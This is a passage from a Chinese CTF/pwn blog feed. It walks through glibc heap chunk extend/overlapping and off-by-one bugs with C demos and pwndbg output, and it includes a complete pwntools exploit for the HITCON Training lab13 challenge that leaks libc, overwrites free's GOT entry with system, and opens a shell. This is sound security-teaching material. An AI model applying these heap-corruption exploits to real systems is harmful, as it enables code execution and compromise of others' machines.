class="hljs-type">void</span> *test, *test1;<br> test = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x80</span>);<span class="hljs-comment">//分配第一个0x80的chunk1</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//分配第二个0x10的chunk2</span><br> <span class="hljs-built_in">free</span>(test);<span class="hljs-comment">//首先进行释放,使得chunk1进入unsorted bin</span><br> *(<span class="hljs-type">long</span> *)((<span class="hljs-type">long</span>)test - <span class="hljs-number">0x8</span>) = <span class="hljs-number">0xb1</span>;<br> test1 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0xa0</span>);<br>}<br></code></pre></td></tr></table></figure><p>第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作:</p><p><img src="/images/chunk_extend_overlapping/4.png" alt="程序完成申请chunk操作后chunk结构"></p><p>接下来我们在第9行下断点,使程序完成对chunk1的释放:</p><p><img src="/images/chunk_extend_overlapping/5.png" alt="程序完成释放chunk1操作后chunk结构"></p><p>没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的:</p><p><img src="/images/chunk_extend_overlapping/6.png" alt="经过free后更改size操作的chunk结构"></p><p>此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。</p><blockquote><p>在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制</p></blockquote><h3 id="基本示例-4:通过-extend-后向-overlapping"><a href="#基本示例-4:通过-extend-后向-overlapping" class="headerlink" title="基本示例 4:通过 extend 后向 overlapping"></a>基本示例 4:通过 extend 后向 overlapping</h3><p>这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">void</span> *ptr,*ptr1;<br><br> ptr=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//分配第1个 0x80 的chunk1</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">//分配第2个 0x10 的chunk2</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">//分配第3个 0x10 的chunk3</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>); <span class="hljs-comment">//分配第4个 0x10 的chunk4 </span><br> *(<span class="hljs-type">int</span> *)((<span class="hljs-type">int</span>)ptr<span class="hljs-number">-0x8</span>)=<span class="hljs-number">0x61</span>;<br> <span class="hljs-built_in">free</span>(ptr);<br> ptr1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x50</span>);<br>}<br></code></pre></td></tr></table></figure><p>初始化分配 4 个堆之后:</p><p><img src="/images/chunk_extend_overlapping/7.png"></p><p>将第一个 chunk size 修改为 0x61 ,然后 free 第一个堆块,红框内的都会被当做一个整体放入到 fastbin 当中:</p><p><img src="/images/chunk_extend_overlapping/8.png"></p><p><img src="/images/chunk_extend_overlapping/9.png"></p><p>那么当再次分配大小为 0x50 (不含chunk header)时,就会调用这块内存了:</p><p><img src="/images/chunk_extend_overlapping/10.png"></p><p>在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。</p><h3 id="基本示例-5:通过-extend-前向-overlapping"><a href="#基本示例-5:通过-extend-前向-overlapping" class="headerlink" title="基本示例 5:通过 extend 前向 overlapping"></a>基本示例 5:通过 extend 前向 overlapping</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *ptr1,*ptr2,*ptr3,*ptr4;<br> ptr1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">128</span>);<span class="hljs-comment">//smallbin1</span><br> ptr2=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//fastbin1</span><br> ptr3=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//fastbin2</span><br> ptr4=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">128</span>);<span class="hljs-comment">//smallbin2</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//防止与top合并</span><br> <span class="hljs-built_in">free</span>(ptr1);<br> *(<span class="hljs-type">int</span> *)((<span class="hljs-type">long</span> <span class="hljs-type">long</span>)ptr4<span class="hljs-number">-0x8</span>)=<span class="hljs-number">0x90</span>;<span class="hljs-comment">//修改pre_inuse域,prev_inuse</span><br> *(<span class="hljs-type">int</span> *)((<span class="hljs-type">long</span> <span class="hljs-type">long</span>)ptr4<span class="hljs-number">-0x10</span>)=<span class="hljs-number">0xd0</span>;<span class="hljs-comment">//修改pre_size域,prev_size</span><br> <span class="hljs-built_in">free</span>(ptr4);<span class="hljs-comment">//unlink进行前向extend</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x150</span>);<span class="hljs-comment">//占位块</span><br><br>}<br></code></pre></td></tr></table></figure><p>这里例子调试一直出不来堆信息,就文字描述一下:</p><p>先布置好 5 个堆块,然后释放 ptr1 进入到 unsortedbin 。修改 ptr4 的 prev_inuse 为 0 标记前一个堆块释放(空闲);修改 ptr4 的 prev_size 为 ptr1+ptr2+ptr3 。释放 ptr4 会触发回收机制,也就是合并物理相邻的堆,用到的操作是 unlink ,就将 ptr1~4 当做一个堆块放入 unsortedbin。</p><p>前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。</p><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><h3 id="HITCON-Training-lab13"><a href="#HITCON-Training-lab13" class="headerlink" title="HITCON Training lab13"></a>HITCON Training lab13</h3><p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/heap/chunk-extend-shrink/hitcontraning_lab13">题目链接</a></p><h4 id="基本信息"><a href="#基本信息" class="headerlink" title="基本信息"></a>基本信息</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bahs"># zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13 [15:58:02]<br>$ checksec heapcreator<br>[*] '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13/heapcreator'<br> Arch: amd64-64-little<br> RELRO: Partial RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br> Stripped: No<br></code></pre></td></tr></table></figure><p>程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。</p><h4 id="基本功能"><a href="#基本功能" class="headerlink" title="基本功能"></a>基本功能</h4><p>程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下</p><ol><li>创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。</li><li>编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会<strong>存在 off by one 的漏洞</strong>。</li><li>展示堆,输出指定索引堆的大小以及内容。</li><li>删除堆,删除指定堆,并且将对应指针设置为了 NULL。</li></ol><h4 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h4><p>基本利用思路如下</p><ol><li>利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。</li><li>申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context.log_level = <span class="hljs-string">'debug'</span><br>p = process(<span class="hljs-string">"./heapcreator"</span>)<br>elf = ELF(<span class="hljs-string">"./heapcreator"</span>)<br>libc = ELF(<span class="hljs-string">"/lib/x86_64-linux-gnu/libc.so.6"</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">create</span>(<span class="hljs-params">size, content</span>):<br> p.recvuntil(<span class="hljs-string">b"choice :"</span>)<br> p.sendline(<span class="hljs-string">b"1"</span>)<br> p.recvuntil(<span class="hljs-string">b"Heap : "</span>)<br> p.sendline(<span class="hljs-built_in">str</span>(size).encode())<br> p.recvuntil(<span class="hljs-string">b"heap:"</span>)<br> p.send(content)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">edit</span>(<span class="hljs-params">idx, content</span>):<br> p.recvuntil(<span class="hljs-string">b"choice :"</span>)<br> p.sendline(<span class="hljs-string">b"2"</span>)<br> p.recvuntil(<span class="hljs-string">b"Index :"</span>)<br> p.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br> p.recvuntil(<span class="hljs-string">b"heap :"</span>)<br> p.send(content)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">show</span>(<span class="hljs-params">idx</span>):<br> p.recvuntil(<span class="hljs-string">b"choice :"</span>)<br> p.sendline(<span class="hljs-string">b"3"</span>)<br> p.recvuntil(<span class="hljs-string">b"Index :"</span>)<br> p.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">free</span>(<span class="hljs-params">idx</span>):<br> p.recvuntil(<span class="hljs-string">b"choice :"</span>)<br> p.sendline(<span class="hljs-string">b"4"</span>)<br> p.recvuntil(<span class="hljs-string">b"Index :"</span>)<br> p.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">exit</span>():<br> p.recvuntil(<span class="hljs-string">b"choice :"</span>)<br> p.sendline(<span class="hljs-string">b"5"</span>)<br><br><span class="hljs-comment"># off-by-one</span><br>create(<span class="hljs-number">0x18</span>, <span class="hljs-string">b'a'</span>*<span class="hljs-number">0x10</span>) <span class="hljs-comment"># 0</span><br>create(<span class="hljs-number">0x10</span>, <span class="hljs-string">b'b'</span>*<span class="hljs-number">0x10</span>) <span class="hljs-comment"># 1</span><br><br>edit(<span class="hljs-number">0</span>, <span class="hljs-string">b"/bin/sh\x00"</span>.ljust(<span class="hljs-number">0x18</span>, <span class="hljs-string">b'a'</span>) + <span class="hljs-string">b"\x41"</span>)<br>free(<span class="hljs-number">1</span>)<br><br><span class="hljs-comment"># leak libc</span><br>free_got = elf.got[<span class="hljs-string">'free'</span>]<br>create(<span class="hljs-number">0x30</span>, <span class="hljs-string">b'a'</span>*<span class="hljs-number">0x18</span> + p64(<span class="hljs-number">0x21</span>) + p64(<span class="hljs-number">0x30</span>) + p64(free_got))<br>show(<span class="hljs-number">1</span>)<br>p.recvuntil(<span class="hljs-string">b"Content : "</span>)<br><br>free_addr = u64(p.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>, <span class="hljs-string">b'\x00'</span>))<br>log.info(<span class="hljs-string">"free_addr:"</span> + <span class="hljs-built_in">hex</span>(free_addr))<br>libc_base = free_addr - libc.symbols[<span class="hljs-string">'free'</span>]<br>log.info(<span class="hljs-string">"libc_base:"</span> + <span class="hljs-built_in">hex</span>(libc_base))<br>system = libc_base + libc.symbols[<span class="hljs-string">'system'</span>]<br>log.info(<span class="hljs-string">"system:"</span> + <span class="hljs-built_in">hex</span>(system))<br><br>edit(<span class="hljs-number">1</span>, p64(system))<br><span class="hljs-comment"># gdb.attach(p)</span><br>free(<span class="hljs-number">0</span>)<br><br>p.interactive()<br></code></pre></td></tr></table></figure><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p>CTF-Wiki</p><ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#5extendoverlapping">Chunk Extend and Overlapping</a></li></ul></li><li><p>CSDN</p><ul><li><a href="https://blog.csdn.net/qq_41202237/article/details/108320408">好好说话之Chunk Extend/Overlapping</a></li><li><a href="https://blog.csdn.net/weixin_43921239/article/details/107841328">Chunk Extend/Overlapping | 堆拓展、重叠</a></li><li><a href="https://blog.csdn.net/weixin_45677731/article/details/107914807">buuctf hitcontraining_heapcreator HITCON Trainging lab13</a></li></ul></li><li><p>知乎</p><ul><li><a href="https://zhuanlan.zhihu.com/p/61691650">堆利用之 chunk overlapping</a></li></ul></li><li><p>博客园</p><ul><li><a href="https://www.cnblogs.com/WangAoBo/p/hitconTraining_wp.html#_label12">M4x@10.0.0.55</a></li><li><a href="https://www.cnblogs.com/Pocon/articles/19529104">PWN-extend overlapping</a></li></ul></li><li><p>Blogs</p><ul><li><a href="https://yun1ian.github.io/2024/10/28/Overlapping/">hunk Extend and Overlapping(堆重叠)</a></li><li><a href="https://pidanxu.github.io/2019/02/27/hitcon-training-lab13/index.html">hitcon training lab13</a></li><li><a href="https://zh-closure.github.io/2022/03/03/Extend-and-Overlapping/#2%E3%80%81%E5%AF%B9inuse%E7%9A%84smallbin%E8%BF%9B%E8%A1%8Cextend">chunk extend overlapping</a></li></ul></li><li><p>看雪</p><ul><li><a href="https://bbs.kanxue.com/thread-247110-1.htm">HITCON Trainging lab13 heapcreator</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>堆溢出</tag>
<tag>Heap</tag>
<tag>Chunk Extend and Overlapping</tag>
</tags>
</entry>
<entry>
<title>花与堆之offbyone</title>
<link href="/2026/02/07/offbyone/"/>
<url>/2026/02/07/offbyone/</url>
<content type="html"><![CDATA[<h3 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h3><blockquote><p>off-by-one漏洞是一种特殊的缓冲区溢出漏洞,其特殊之处在于off-by-one漏洞<strong>仅允许溢出一个字节</strong>,且该溢出字节未必是可控的。off-by-one漏洞常见于以下两种情况:</p><ol><li>错误地设置了循环的边界(如将”<strong><</strong>“误写为”<strong><=</strong>“);</li><li>错误地使用了字符串处理函数字符串处理函数&zhida_source=entity)(不同的字符串处理函数对字符串末尾的”<strong>\0</strong>“的处理方式不同,如果将二者混用便可能导致末尾的”<strong>\0</strong>“发生溢出)。</li></ol></blockquote><h3 id="循环边界设置不当"><a href="#循环边界设置不当" class="headerlink" title="循环边界设置不当"></a>循环边界设置不当</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">char</span> a[<span class="hljs-number">16</span>];<br><span class="hljs-keyword">for</span>(<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>;i<=<span class="hljs-number">16</span>;i++)<br>{<br> read(<span class="hljs-number">0</span>,a,<span class="hljs-number">1</span>);<br>}<br></code></pre></td></tr></table></figure><p>在上述代码片段中看出其实这个循环进行了17次,多向a中读入了一个字节,造成了溢出,攻击者可以通过这个漏洞达成许多攻击效果。</p><blockquote><p>这一错误也被称为栅栏错误<br>wikipedia: 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">建造一条直栅栏(即不围圈),长 30 米、每条栅栏柱间相隔 3 米,需要多少条栅栏柱?<br></code></pre></td></tr></table></figure><p>最容易想到的答案 10 是错的。这个栅栏有 10 个间隔,11 条栅栏柱。</p></blockquote><p>我在 <code>puts</code> 处(my_gets前)和”19”(return 0)处下断点;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> b puts<br>Breakpoint 1 at 0x1070<br>pwndbg> b 19<br>Breakpoint 2 at 0x1214: file example.c, line 19.<br>pwndbg> r<br>_____________________________________________________________________<br>pwndbg> r<br>Starting program: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/off_by_one_example/example/offbyone_1 <br><br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library <span class="hljs-string">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span>.<br><br>Breakpoint 1, __GI__IO_puts (str=0x555555556004 <span class="hljs-string">"Get Input:"</span>) at ./libio/ioputs.c:33<br>33 ./libio/ioputs.c: No such file or directory.<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────────<br> RAX 0x555555556004 ◂— <span class="hljs-string">'Get Input:'</span><br> RBX 0<br> RCX 0x21<br> RDX 0<br> RDI 0x555555556004 ◂— <span class="hljs-string">'Get Input:'</span><br> RSI 0x5555555592d0 ◂— 0<br> R8 0x21001<br> R9 0x5555555592c0 ◂— 0<br> R10 0xfffffffffffff000<br> R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x5555555592d0 ◂— 0<br> R12 0x7fffffffd718 —▸ 0x7fffffffda52 ◂— <span class="hljs-string">'/home/zer0ptr/Pwn-Research/Heap-overflow-basic/off_by_one_example/example/offbyone_1'</span><br> R13 0x5555555551cc (main) ◂— endbr64 <br> R14 0x555555557db0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555140 (__do_global_dtors_aux) ◂— endbr64 <br> R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f<br> RBP 0x7fffffffd600 ◂— 1<br> RSP 0x7fffffffd5e8 —▸ 0x555555555203 (main+55) ◂— mov rax, qword ptr [rbp - 0x10]<br> RIP 0x7ffff7c80e50 (puts) ◂— endbr64 <br>────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / <span class="hljs-built_in">set</span> <span class="hljs-built_in">emulate</span> on ]─────────────────────────────────────────────────────────────────────────────────────────────────────<br> ► 0x7ffff7c80e50 <puts> endbr64 <br> 0x7ffff7c80e54 <puts+4> push r14<br> 0x7ffff7c80e56 <puts+6> push r13<br> 0x7ffff7c80e58 <puts+8> push r12<br> 0x7ffff7c80e5a <puts+10> mov r12, rdi R12 => 0x555555556004 ◂— <span class="hljs-string">'Get Input:'</span><br> 0x7ffff7c80e5d <puts+13> push rbp<br> 0x7ffff7c80e5e <puts+14> push rbx<br> 0x7ffff7c80e5f <puts+15> sub rsp, 0x10 RSP => 0x7fffffffd5b0 (0x7fffffffd5c0 - 0x10)<br> 0x7ffff7c80e63 <puts+19> call *ABS*+0xa86a0@plt <*ABS*+0xa86a0@plt><br> <br> 0x7ffff7c80e68 <puts+24> mov r13, qword ptr [rip + 0x198fc9] R13, [0x7ffff7e19e38] => 0x7ffff7e1b868 (stdout)<br> 0x7ffff7c80e6f <puts+31> mov rbx, rax<br>──────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7fffffffd5e8 —▸ 0x555555555203 (main+55) ◂— mov rax, qword ptr [rbp - 0x10]<br>01:0008│-010 0x7fffffffd5f0 —▸ 0x5555555592a0 ◂— 0<br>02:0010│-008 0x7fffffffd5f8 —▸ 0x5555555592c0 ◂— 0<br>03:0018│ rbp 0x7fffffffd600 ◂— 1<br>04:0020│+008 0x7fffffffd608 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax<br>05:0028│+010 0x7fffffffd610 ◂— 0<br>06:0030│+018 0x7fffffffd618 —▸ 0x5555555551cc (main) ◂— endbr64 <br>07:0038│+020 0x7fffffffd620 ◂— 0x1ffffd700<br>────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br> ► 0 0x7ffff7c80e50 puts<br> 1 0x555555555203 main+55<br> 2 0x7ffff7c29d90 __libc_start_call_main+128<br> 3 0x7ffff7c29e40 __libc_start_main+128<br> 4 0x5555555550c5 _start+37<br></code></pre></td></tr></table></figure><p>从上面这一大坨拉出来:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> x/10gx 0x5555555592a0<br>0x5555555592a0: 0x0000000000000000 0x0000000000000000<br>0x5555555592b0: 0x0000000000000000 0x0000000000000021<br>0x5555555592c0: 0x0000000000000000 0x0000000000000000<br>0x5555555592d0: 0x0000000000000000 0x0000000000020d31<br>0x5555555592e0: 0x0000000000000000 0x0000000000000000<br>pwndbg> x/10gx 0x5555555592c0<br>0x5555555592c0: 0x0000000000000000 0x0000000000000000<br>0x5555555592d0: 0x0000000000000000 0x0000000000020d31<br>0x5555555592e0: 0x0000000000000000 0x0000000000000000<br>0x5555555592f0: 0x0000000000000000 0x0000000000000000<br>0x555555559300: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>这里已经分配了两个用户区域为16的堆块<br>当我们执行 my_gets 进行输入之后,可以看到数据发生了溢出:第25个字节0x61覆盖了下一个堆块的size字段的低字节</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> x/10gx 0x5555555592a0<br>0x5555555592a0: 0x6161616161616161 0x6161616161616161<br>0x5555555592b0: 0x0000000000000061 0x0000000000000021<br>0x5555555592c0: 0x0000000000000000 0x0000000000000000<br>0x5555555592d0: 0x0000000000000000 0x0000000000000411<br>0x5555555592e0: 0x75706e4920746547 0x00000000000a3a74<br></code></pre></td></tr></table></figure><h3 id="字符串结束符"><a href="#字符串结束符" class="headerlink" title="字符串结束符"></a>字符串结束符</h3><p>第二种常见的导致 off-by-one 的场景就是字符串操作了,常见的原因是字符串的结束符计算有误:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span> </span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span> </span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">char</span> buffer[<span class="hljs-number">40</span>]=<span class="hljs-string">""</span>;<br> <span class="hljs-type">void</span> *chunk1;<br> chunk1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">24</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Get Input"</span>);<br> gets(buffer);<br> <span class="hljs-keyword">if</span>(<span class="hljs-built_in">strlen</span>(buffer)==<span class="hljs-number">24</span>)<br> {<br> <span class="hljs-built_in">strcpy</span>(chunk1,buffer);<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br><span class="hljs-comment">// gcc -g -o offbyone_2 offbyone_2.c -no-pie -fno-stack-protector -z execstack</span><br></code></pre></td></tr></table></figure><p>程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。 但是 strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 ‘\x00’ 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 ‘\x00’ 。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。<br>我在<code>*main+62</code>处(malloc调用后的返回地址)和 <del><code>*main+141</code>处(程序执行完毕返回地址处)</del> <code>strcpy</code>下断点:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span 